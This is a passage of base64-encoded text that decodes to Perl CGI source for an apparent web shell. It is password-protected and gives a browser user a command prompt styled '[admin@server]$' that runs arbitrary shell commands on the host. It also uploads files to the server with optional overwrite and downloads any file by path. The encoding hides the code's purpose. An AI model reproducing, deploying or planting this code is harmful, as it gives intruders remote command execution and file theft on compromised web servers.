b2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IE9wZW4gU2FuczsgZm9udC13ZWlnaHQ6IGJvbGQ7Jz4iLiZBZGRMaW5rRGlyKCJjb21tYW5kIikuIjwvc3Bhbj4iOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICI8Zm9udCBjb2xvcj0nIyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29tbWFuZAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgpzdWIgUnVuQ21kCnsKCW15ICRyZXN1bHQ9IiI7CgkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7CglpZighJFdpbk5UKQoJewoJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7CgkJYWxhcm0oJENvbW1hbmRUaW1lb3V0RHVyYXRpb24pOwoJfQoJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZAoJewoJCSR8PTE7CgkJJENvbW1hbmQgLj0gIiB8IjsKCQlvcGVuKENvbW1hbmRPdXRwdXQsICRDb21tYW5kKTsKCQl3aGlsZSg8Q29tbWFuZE91dHB1dD4pCgkJewoJCQkkXyA9fiBzLyhcbnxcclxuKSQvLzsKCQkJJHJlc3VsdCAuPSAmSHRtbFNwZWNpYWxDaGFycygi